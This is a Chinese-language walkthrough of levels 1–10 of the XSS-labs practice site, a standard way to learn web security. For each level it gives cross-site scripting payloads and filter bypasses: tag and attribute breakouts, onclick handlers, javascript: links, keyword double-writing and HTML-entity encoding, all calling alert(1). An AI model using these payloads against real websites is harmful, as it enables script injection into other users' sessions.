XSS-labs通关教程-完结

XSS-labs通关教程-完结

1.第一关

payload:

cobol 复制代码
http://xss/level1.php?name=<Script>alert(1)</Script>

2.第二关

这里变量出现在两处,我们直接利用第二处,做构造以及闭合

查询框里输入payload

payload:

xml 复制代码
1"><ScRipt>alert(1)</ScRipt>

3.第三关

用第二关的payload去试一下,发现内容没变化,但是就是没当成js代码

查一下网页源代码和php代码

看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体。那么什么是HTML实体呢?

说白了就是HTML为了防止特殊符号,如 "<"等,html当成标签

这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)

输入到代码框后选择到文件上,点击一下就行

payload:

复制代码
' onclick ='javascript:alert(1)'//

4.第四关

同第三关(把单引号换成双引号)

payload:

复制代码
" onclick ="javascript:alert(1)"//

5.第五关

script过滤了,onclick也过滤了

尝试构造a标签

xml 复制代码
"></input><a href='javascript:alert(1)'>asd</a>//

5.第六关

同第二关

payload:

xml 复制代码
1"><ScRipt>alert(1)</ScRipt>

7. 第七关

删去了script,这个简单看看是不是过滤了一次,将script变成scrscriptipt

payload:

xml 复制代码
1"><ScscriptRipt>alert(1)</ScscriptRipt>

8. 第八关

老规矩拿第6关的payload试验一下,然后看网页源代码

上边过滤了<>特殊符号

下边在script中间加了个下划线

但是注意看下边代码再href里

我们这里只是想把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过

payload:

复制代码
javascript:alert(1)
cobol 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

9.第九关

先来波检测,填入它然后查源代码,看过滤情况

xml 复制代码
<>"'script onclick

查看源码,发现双引号和尖括号都给过滤了,但是下边发现了,您的链接不合法,那我填个合法的

那我们再动动手脚

cobol 复制代码
javascript:alert(1);http://www.baidu.com

还是不行

那编码呗(第八关的后边加个注释再加个网址)

==注意:==后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。

payload:

cobol 复制代码
javascript:alert(1)//http://www.baidu.com

变换后payload

cobol 复制代码
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x31;&#x27;&#x29; //http://www.baidu.com

10.第十关

重点注意输入是在URL里

还是'' ' >< script onclick测试一遍,发现只过滤了" 和<>,但是发现了三个隐藏的input,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用,查看源码

想办法把源代码构造闭合

cobol 复制代码
<input name="t_sort"  value="'.$str33.'" type="hidden">
<input name="t_sort"  value="" type='text' onclick='javascript:alert(1)'>// type="hidden">

payload:

cobol 复制代码
&t_sort=" type='text' onclick='javascript:alert(1)'>//
相关推荐
酒尘&3 小时前
JS数组不止Array!索引集合类全面解析
开发语言·前端·javascript·学习·js
学历真的很重要3 小时前
VsCode+Roo Code+Gemini 2.5 Pro+Gemini Balance AI辅助编程环境搭建(理论上通过多个Api Key负载均衡达到无限免费Gemini 2.5 Pro)
前端·人工智能·vscode·后端·语言模型·负载均衡·ai编程
用户47949283569154 小时前
"讲讲原型链" —— 面试官最爱问的 JavaScript 基础
前端·javascript·面试
用户47949283569154 小时前
2025 年 TC39 都在忙什么?Import Bytes、Iterator Chunking 来了
前端·javascript·面试
大怪v5 小时前
【Virtual World 04】我们的目标,无限宇宙!!
前端·javascript·代码规范
狂炫冰美式6 小时前
不谈技术,搞点文化 🧀 —— 从复活一句明代残诗破局产品迭代
前端·人工智能·后端
xw56 小时前
npm几个实用命令
前端·npm
!win !6 小时前
npm几个实用命令
前端·npm
代码狂想家6 小时前
使用openEuler从零构建用户管理系统Web应用平台
前端
dorisrv8 小时前
优雅的React表单状态管理
前端